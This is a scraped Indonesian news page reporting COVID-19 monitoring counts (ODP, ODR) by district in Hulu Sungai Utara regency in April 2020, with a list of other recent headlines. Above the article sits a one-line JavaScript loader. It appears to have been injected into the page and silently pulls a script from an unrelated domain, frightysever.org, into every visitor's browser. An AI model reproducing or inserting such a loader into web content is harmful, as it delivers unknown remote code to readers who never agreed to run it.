(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

ODP di HSU Turun Jadi 15, Orang Dalam Resiko Tercatat 1.109 Orang


KANALKALIMANTAN.COM, AMUNTAI – Jumlah orang dalam pemantauan (ODP) Covid-19 di Kabupaten Hulu Sungai Utara (HSU) kembali mengalami penurunan.

Update tim gugus tugas P3 Covid-19 HSU, Jumat (10/4/2020) pukul 08.00 Wita menyatakan jumlah ODP turun menjadi 15 orang. Sebelumnya, ODP pada Kamis (9/4/2020) sebanyak 19 orang.

Meski, jumlah ODP mengalami grafis penurunan bertahap, namun status orang dalam resiko (ODR) dari 1.078 orang bertambah menjadi 1.109 orang

Selain penurunan jumlah ODP, hingga saat ini juga belum ditemukan kasus pasien dalam pemantauan (PDP) maupun yang terkonfirmasi positif Covid-19. Sementara total ODP selesai pemantauan sebanyak 53 orang.

Adapun jumlah orang dalam pemantauan (ODP) di Kabupaten HSU meliputi 10 kecamatan. Yakni 22 orang berada di wilayah Kecamatan Amuntai Tengah dengan jumlah selesai pemantauan 15 orang, disusul Amuntai Utara 16 orang dengan selesai pemantauan 13 orang, dan Kecamatan Haur Gading 15 orang dengan selesai pemantauan 12 orang.

Untuk Kecamatan Amuntai Selatan ODP tercatat 7 orang dengan selesai pemantauan 6 orang, Sungai Pandan (Alabio) tercatat 5 orang dan Kecamatan Banjang 3 dengan masing-masing masih 1 orang selesai pemantauan

Sementara untuk 4 kecamatan lainnya seperti Danau Panggang, Sungai Tabukan, Babirik dan Kecamatan Paminggir nihil kasus.

Dari data tersebut, Gugus Tugas Covid-19 HSU menjabarkan adanya sejumlah total ODP sebelumnya sebanyak 19 menjadi 15 orang di Kabupaten HSU

“ODR yang datang dari daerah terjangkit atau pelaku perjalanan namun tidak ada gejala,” ujar Kadinkes HSU dr Agus Fidliansyah kepada Kanalkalimantan.com, Kamis (9/4/2020).

Sebelumnya, dirinya juga menghimbau masyarakat untuk dapat melaporkan jika dalam waktu 14 hari terakhir baru datang bepergian dari daerah/wilayah yang terjangkat Covid-19 melalui call center Covid-19 Kabupaten HSU : 08125002649 atau call center masing-masing Poskesmas di Kabupaten HSU.

Hal serupa juga diungkapkan H Masbudianto SKM, Kabid P2P (Pencegahan dan Penularan Penyakit) Dinkes HSU yang mengatakan status ODR merupakan seseorang yang telah melakukan perjalanan dari wilayah terjangkit Covid-19.

“Kalau dari Banjarmasin tanpa ada gejala bisa dikategorikan pelaku perjalanan, atau bisa juga disebut ODR, tapi bila ada gejala bisa jadi ODP atau PDP,” pungkasnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Al Ghifari

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

3 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

5 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

6 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

6 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

6 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

18 jam ago

This website uses cookies.